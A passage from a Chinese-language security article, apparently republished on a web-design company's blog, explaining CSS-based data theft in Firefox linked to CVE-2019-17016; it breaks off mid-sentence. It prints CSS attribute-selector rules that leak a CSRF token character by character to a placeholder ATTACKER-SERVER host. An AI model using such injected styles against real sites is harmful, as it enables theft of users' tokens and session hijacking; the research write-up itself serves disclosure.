在Firefox浏览器中如何利用CSS窃取数据-创新互联

这篇文章主要介绍了在Firefox浏览器中如何利用CSS窃取数据,具有一定借鉴价值,感兴趣的朋友可以参考下,希望大家阅读完这篇文章之后大有收获,下面让小编带着大家一起了解一下。

目前成都创新互联公司已为1000+的企业提供了网站建设、域名、网络空间、网站运营、企业网站设计、朝阳网站维护等服务,公司将坚持客户导向、应用为本的策略,正道将秉承"和谐、参与、激情"的文化,与客户和合作伙伴齐心协力一起成长,共同发展。

0x00 前言

几个月之前,我在Firefox中找到了一个漏洞( CVE-2019-17016 )。在研究过程中,我发现了在Firefox浏览器中利用CSS的一种数据窃取技术,可以通过单个注入点窃取数据,这里我想与大家一起分享相关研究成果。

0x01 背景知识

为了演示方便,这里假设我们想窃取 元素中的CSRF令牌。

我们无法使用脚本(可能是因为CSP),因此想寻找基于样式的注入方法。传统方法是使用属性选择器,如下所示:

input[name='csrftoken'][value^='a'] {
  background: url(//ATTACKER-SERVER/leak/a);
}
input[name='csrftoken'][value^='b'] {
  background: url(//ATTACKER-SERVER/leak/b);
}
...
input[name='csrftoken'][value^='z'] {
  background: url(//ATTACKER-SERVER/leak/z);
}

如果应用了CSS规则,那么攻击者就能收到HTTP请求,从而获取到令牌的第1个字符。随后,攻击者需要准备另一个样式表,其中包含已窃取的第1个字符,如下所示:

input[name='csrftoken'][value^='aa'] {
  background: url(//ATTACKER-SERVER/leak/aa);
}
input[name='csrftoken'][value^='ab'] {
  background: url(//ATTACKER-SERVER/leak/ab);
}
...
input[name='csrftoken'][value^='az'] {
  background: url(//ATTACKER-SERVER/leak/az);
}

通常情况下,攻击者需要重新加载